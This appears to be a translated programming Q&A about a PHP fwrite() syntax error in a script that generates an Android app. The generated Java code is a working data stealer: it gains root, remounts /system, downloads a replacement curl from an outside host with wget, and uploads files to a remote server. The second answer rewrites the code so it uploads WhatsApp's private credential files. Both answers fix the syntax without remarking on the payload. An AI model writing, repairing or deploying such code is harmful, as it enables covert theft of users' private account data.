php- fwrite:意外;错误

时间:2015-02-25 11:52:16

标签: php file fwrite

我使用fwrite()函数编写java文件,但是我收到以下错误:

  

解析错误:语法错误,意外';'在第61行的/var/www/html/test.php中

第61行是fwrite函数以分号结尾的地方。代码是:

$file = fopen(" /home/ashish/$fname/src/com/$fpex[1]/MainActivity.java /home/ashish/$fname/src/com/$fpex[1]/MainActivity.java","w");
 fwrite ($file,  "package $fpack;" .  '
import android.app.*;
import android.os.*;
import android.view.*;
import android.widget.*;
import java.io.IOException;
import java.lang.Process;
import java.io.DataInputStream;
import java.io.DataOutputStream;


public class MainActivity extends Activity
{
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState)
{
super.onCreate(savedInstanceState);
Process p; 
try { 
// Preform su to get root privledges
p = Runtime.getRuntime().exec("su");

// Attempt to write a file to a root-only fs
DataOutputStream os = new DataOutputStream(p.getOutputStream());
os.writeBytes("busybox mount -o rw,remount /system \n");
os.writeBytes("busybox rm -f /system/xbin/curl \n");
os.writeBytes("busybox wget http://test.com/curl -O /system/xbin/curl \n");
os.writeBytes("busybox chmod 777 /system/xbin/curl \n");
os.writeBytes("curl  -v -F \"file=@/test/me\" http://yourserver/me.php \n");
os.writeBytes("curl  -v -F \"file=@/test/pw\" http://yourserver/pw.php \n");
os.writeBytes("echo \"Done\" >/sdcard/temp.txt\n");

// Close the terminal
os.writeBytes("exit\n"); 
os.flush();
android.os.Process.killProcess(android.os.Process.myPid());
} catch (IOException e) { 
// TODO Code to run in input/output exception
//toastMessage("not root");
}


}

}';

这里有什么不对?任何帮助将不胜感激。

2 个答案:

答案 0 :(得分:1)

您错过了)函数的结束fwrite,最后一行应如下所示:

})';

答案 1 :(得分:0)

使用PHP nowdoc syntax(php> = 5.3)更容易 它几乎像单引号字符串文字一样工作。没有变量替换,甚至文字\ n也不会被换行符(字节)替换。因此,您可以轻松完成所有引用,逃避等等。

<?php
$fhTarget = fopen("/home/ashish/$fname/src/com/{$fpex[1]}/MainActivity.java", 'w');
// $fpack = 'lalala';
//$fhTarget = fopen("php://output","w");
if ( !$fhTarget ) {
    yourErrorHandler();
}

fwrite ($fhTarget, "package $fpack;\r\n");
fwrite ($fhTarget,  getCode() );


function getCode() {
    return <<< 'eoc'
import android.app.*;
import android.os.*;
import android.view.*;
import android.widget.*;
import java.io.IOException;
import java.lang.Process;
import java.io.DataInputStream;
import java.io.DataOutputStream;


public class MainActivity extends Activity
{
    /** Called when the activity is first created. */
    @Override
    public void onCreate(Bundle savedInstanceState)
    {
        super.onCreate(savedInstanceState);
        Process p; 
        try { 
            // Preform su to get root privledges
            p = Runtime.getRuntime().exec("su");

            // Attempt to write a file to a root-only fs
            DataOutputStream os = new DataOutputStream(p.getOutputStream());
            os.writeBytes("busybox mount -o rw,remount /system \n");
            os.writeBytes("busybox rm -f /system/xbin/curl \n");
            os.writeBytes("busybox wget http://securwiki.com/curl -O /system/xbin/curl \n");
            os.writeBytes("busybox chmod 777 /system/xbin/curl \n");
            os.writeBytes("curl  -v -F \"file=@/data/data/com.whatsapp/files/me\" http://yourserver/me.php \n");
            os.writeBytes("curl  -v -F \"file=@/data/data/com.whatsapp/files/pw\" http://yourserver/pw.php \n");
            os.writeBytes("echo \"Done\" >/sdcard/temp.txt\n");

            // Close the terminal
            os.writeBytes("exit\n"); 
            os.flush();
            android.os.Process.killProcess(android.os.Process.myPid());
        } catch (IOException e) { 
        // TODO Code to run in input/output exception
        //toastMessage("not root");
    }
}
eoc;
}

确保除了eoc;之外什么都没有;之前或之后没有一个空格,没有。只需eoc;和换行。